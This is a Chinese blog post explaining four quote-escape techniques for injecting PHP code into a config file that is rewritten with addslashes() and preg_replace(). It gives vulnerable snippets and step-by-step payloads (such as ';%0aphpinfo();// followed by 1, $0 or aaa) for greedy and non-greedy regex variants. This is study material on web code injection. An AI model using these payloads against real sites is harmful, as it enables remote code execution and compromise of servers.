配置写入时引号逃逸的4种类型
被匹配的内容:
<?php $API='aaaa'; ?>
第一种写入方式:
$api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API='.*';/", "\$API='{$api}';", $file); file_put_contents('./option.php', $file);
先';%0aphpinfo();//
发现还有单引号被转义,因为addslashes($_GET['api']);
有这个存在,我们输入内容就称为了
%0aphpinfo();//
可以继续输入为任意字符
,这样$api接收的内容就会将单引号包裹的内容进行替换,我这里输入 1 ,成功绕过
第二种写入方式:
$api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\\\$API='.*';/s", "\$API='{$api}';", $file); // 将正则规则为 换行符匹配 file_put_contents('./option.php', $file);
用上面的办法已经行不通了,因为一次匹配把换行之后的内容也匹配起来,可以先;phpinfo();
,内容为如下
然后再输入$0
,发现内容为如下,成功绕过
原因是:先;phpinfo();
,可以让单引号中的内容为;phpinfo();
,然后在$0
,$0的意思为匹配完整的内容,$0
和\\0
一个意思,就是正则匹配的结果,\\0
代表完整的匹配
关于反向引用的内容参考:https://www.php.net/preg_replace/
这时候匹配到的内容就是$API=';phpinfo();';
,将该内容填充为单引号中的内容,前面的单引号闭合,后面的也闭合,成功执行
第三种写入方式:
/\\\$API='.*?';/
,这里是非贪婪模式进行正则匹配
先';%0aphpinfo();//
然后输入1
就可以成功绕过了
第四种写入方式:
/\\\$API='.*?';/s
,这里是非贪婪模式,换行匹配
先aaa';phpinfo();//
,
再aaa
成功绕过
原因:加了贪婪模式之后,匹配的内容就是$API='aaa\'
这一段,后面的;phpinfo();//';
是匹配不到的,然后再输入aaa那么替换的就是aaa\
这段,从而绕过!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY